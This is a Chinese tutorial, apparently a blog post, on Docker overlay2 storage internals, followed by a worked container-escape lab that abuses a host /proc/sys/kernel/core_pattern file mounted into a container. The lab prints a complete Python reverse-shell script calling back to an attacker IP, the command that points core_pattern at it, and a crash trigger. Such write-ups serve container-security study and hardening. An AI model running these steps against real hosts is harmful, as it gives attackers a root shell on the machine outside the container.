[Docker容器安全3]Docker文件存储 & 挂载宿主机 procfs 容器逃逸

Docker文件存储背景知识

Docker 镜像

Docker 镜像是一个由多个层(layers)组成的只读模板。这些层堆叠在一起,构成了一个完整的文件系统,镜像可以用来创建容器。

层(Layer)

每个层通常对应于 Dockerfile 中的一条指令(如 FROM、COPY、RUN 等)。这些层是只读的,并且通过叠加技术(union file system)组合在一起,形成了镜像的最终内容。

层的堆叠和镜像

  • 只读层:这些层是只读的,并且是镜像的一部分。每个层包含了与前一层的差异部分。这些层共同构成了镜像的文件系统。
  • 可写层:当容器启动时,会在镜像的所有只读层之上添加一个新的可写层,这一层是容器专有的,存储运行容器时的所有变更。
  • 每个容器都有其自己的可写容器层,并且所有更改都存储在该容器层中,所以多个容器可以共享对同一基础映像的访问,但具有自己的数据状态。下


写时复制(Copy-on-Write, CoW)机制

当容器中的文件被修改时,存储驱动程序会执行写时复制操作,以确保只读层不被修改,并将更改写入到可写层中。具体步骤如下:

  1. 查找文件:当需要修改一个文件时,存储驱动程序首先会在镜像层中搜索该文件。这个过程从最新的镜像层开始,一层一层向下搜索,直到找到文件为止。
  2. Copy-up操作:一旦找到文件,存储驱动程序会将该文件的副本复制到可写容器层中。这个过程称为“copy-up”操作。
  3. 修改文件:文件被复制到可写层后,所有对该文件的修改都会在可写层中进行。容器中的进程将只能看到可写层中的修改后的文件,而不会再访问只读层中的原始文件。

不同的存储驱动程序(如 AUFS、OverlayFS、Overlay2)处理写时复制操作的具体方式可能有所不同,OverlayFS是推荐的存储驱动程序。

Overlay2存储驱动

OverlayFS 是 Linux 内核中一种联合文件系统,它允许将多个目录合并为一个逻辑上的单一目录结构。其核心概念是通过将多个层(通常是只读层和一个可写层)合并,提供一个统一的文件系统视图。

主要概念

  • lowerdir:只读层,包含基础文件系统。
  • upperdir:可写层,记录所有的写操作。
  • workdir:工作目录,OverlayFS 操作所需的临时存储。

overlay 和 overlay2 是 Docker 中基于 OverlayFS 的两种存储驱动程序。

overlay

  • overlay 是最早的基于 OverlayFS 的存储驱动程序。
  • 它支持简单的两层结构(一个 lowerdir 和一个 upperdir)。
  • 对于较大的镜像和大量层的场景,性能和可扩展性方面有一定的局限性。

overlay2

  • overlay2 是改进后的存储驱动程序,克服了 overlay 的一些局限性。
  • 支持多层结构(multiple lowerdirs),即可以将多个只读层(lowerdir)叠加起来,进一步提高了灵活性和可扩展性。
  • 在性能和稳定性方面都有所提升,适合处理更复杂的镜像和层次结构。

测试

使用docker info查看docker使用的文件驱动

# docker info | grep "Storage Driver"
...
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Using metacopy: false
  Native Overlay Diff: true
  userxattr: false
...

拉取一个ubuntu:20.04镜像:

# docker pull ubuntu:20.04
20.04: Pulling from library/ubuntu
d4c3c94e5e10: Pull complete
Digest: sha256:874aca52f79ae5f8258faff03e10ce99ae836f6e7d2df6ecd3da5c1cad3a912b
Status: Downloaded newer image for ubuntu:20.04
docker.io/library/ubuntu:20.04

镜像拉取了一层,查看 overlay2 的目录:

# ls -l /var/lib/docker/overlay2/
total 8
drwx--x--- 3 root root 4096 May 11 18:38 105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6
drwx------ 2 root root 4096 May 11 18:38 l

overlay2 目录下出现了一个镜像层目录和一个l目录,首先来查看一下l目录的内容:

# ls -l /var/lib/docker/overlay2/l
total 4
lrwxrwxrwx 1 root root 72 May 11 18:38 DT325SQS52JQUKKHRELWLMM64Z -> ../105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/diff

可以看到l目录是一堆软连接,把一些较短的随机串软连到镜像层的 diff 文件夹下,这样做是为了避免达到mount命令参数的长度限制。

再看下这个镜像层中的内容:

# ls -l /var/lib/docker/overlay2/105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/
total 8
drwxr-xr-x 17 root root 4096 May 11 18:39 diff
-rw-r--r--  1 root root   26 May 11 18:38 link

这里包含 diff目录 和 link文件:

  • diff目录:包含了该层的所有文件和目录内容。这是一个可写层,存储了在该层中所做的所有更改。
  • link文件:内容为该镜像层的短 ID
# cat /var/lib/docker/overlay2/105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/link
DT325SQS52JQUKKHRELWLMM64Z

在 Docker 镜像或容器的详细信息中,GraphDriver 部分提供了关于存储驱动程序的具体信息。

# docker inspect ubuntu:20.04

......省略部分
"GraphDriver": {
    "Data": {
        "MergedDir": "/var/lib/docker/overlay2/105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/merged",
        "UpperDir": "/var/lib/docker/overlay2/105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/diff",
        "WorkDir": "/var/lib/docker/overlay2/105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6/work"
    },
    "Name": "overlay2"
},
......

字段解释:

  • Name: 指定存储驱动程序的名称。这里面,存储驱动程序为 overlay2。
  • Data: 包含与 overlay2 存储驱动程序相关的具体目录信息。
    • MergedDir: 指向合并目录,该目录提供了容器运行时的统一视图。当容器运行时,MergedDir 是实际挂载点,它将多个只读层和一个可写层合并在一起,提供一个完整的文件系统视图。
    • UpperDir: 指向上层目录,该目录包含可写层的内容。当容器对文件系统进行写操作时,修改会写入 UpperDir。这是写时复制(Copy-on-Write)机制的一部分。
    • WorkDir: 指向工作目录,该目录用于 OverlayFS 的临时存储操作。WorkDir 是 OverlayFS 所需的,支持文件系统操作如创建和删除文件时的临时存储。

启动容器

docker run -d --name=ubt ubuntu: 20.04 tail -f /dev/null

/var/lib/docker/overlay2/多了个表示容器层的目录

# ls -l /var/lib/docker/overlay2/
total 12
drwx--x--- 3 root root 4096 May 11 21:44 105a8e521d837d13118b9aae453cea7193bca3a8bb9e65a7db5c6ff5ab6b3aa6
drwx--x--- 5 root root 4096 May 11 21:44 76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8
drwx------ 2 root root 4096 May 11 21:44 l

查看容器层目录内容

# ls -l /var/lib/docker/overlay2/76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8
total 20
drwxr-xr-x 2 root root 4096 May 11 21:44 diff
-rw-r--r-- 1 root root   26 May 11 21:44 link
-rw-r--r-- 1 root root   57 May 11 21:44 lower
drwxr-xr-x 1 root root 4096 May 11 21:44 merged
drwx------ 3 root root 4096 May 11 21:44 work

文件解释:

  • lower文件:该层依赖的所有下层的目录路径。l目录下的短链接
  • merged目录:提供容器的合并文件系统视图。所有对文件系统的访问都会通过这个合并视图。
  • work 目录: 用于 OverlayFS 操作的临时存储。

在容器中写入一个文件/home/test,它会出现在diffmerged目录中

# tree /var/lib/docker/overlay2/76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8/diff/
/var/lib/docker/overlay2/76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8/diff/
├── home
│   └── test
└── root


# tree /var/lib/docker/overlay2/76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8/merged/home/
/var/lib/docker/overlay2/76eab2335162f96c85ba40be7c5a0ab8fca48e76889c6d5e7474c9332b495fe8/merged/home/
└── test

挂载宿主机 procfs 逃逸

背景

/proc/sys/kernel/core_pattern文件用于配置生成进程核心转储(core dump)文件的模式,其内容定义了核心转储文件的命名模式和存储位置。当一个程序崩溃时,操作系统会生成一个核心转储文件,其中包含进程的内存快照、寄存器状态等信息。

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

|/usr/local/bin/core_handler %p %u %g %s %t %h %e

这样,当一个程序崩溃时,核心转储信息会被传递给 /usr/local/bin/core_handler 脚本进行处理。其中占位符的解释:

  • %p:进程 ID
  • %u:用户 ID
  • %g:组 ID
  • %s:进程的信号号
  • %t:时间戳
  • %h:主机名
  • %e:可执行文件名

攻击思路

所以这个的原理就是当/proc/sys/kernel/core_pattern被挂载到容器中时,可以在容器中写一个恶意脚本,根据前面的知识这个脚本在真实主机中的位置是可以找到的。然后编辑/proc/sys/kernel/core_pattern使用管道符指向该脚本,再写一个可以使进程崩溃的脚本触发,让物理执行这个脚本,进而获得物理机的shell实现容器逃逸。

实验

创建一个容器并挂载 /proc 目录

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

find / -name core_pattern

查看容器的挂载路径

mount | grep overlay

从返回可以知道,写文件在物理机的路径为

/var/lib/docker/overlay2/8b524daaa1e201d8e6706f9974fabbe7dfd6e7bd574508ae56278bee0d7d7c8b/diff
/var/lib/docker/overlay2/8b524daaa1e201d8e6706f9974fabbe7dfd6e7bd574508ae56278bee0d7d7c8b/merged

安装 vim 和 gcc

apt-get update -y && apt-get install vim gcc -y

创建一个反弹 Shell 的 py 脚本/tmp/.t.py

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "IP"
lport = 9999
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

给 Shell 赋予执行权限

chmod 777 /tmp/t.py

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/8b524daaa1e201d8e6706f9974fabbe7dfd6e7bd574508ae56278bee0d7d7c8b/merged/tmp/t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

vim t.c
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
gcc t.c -o t
./t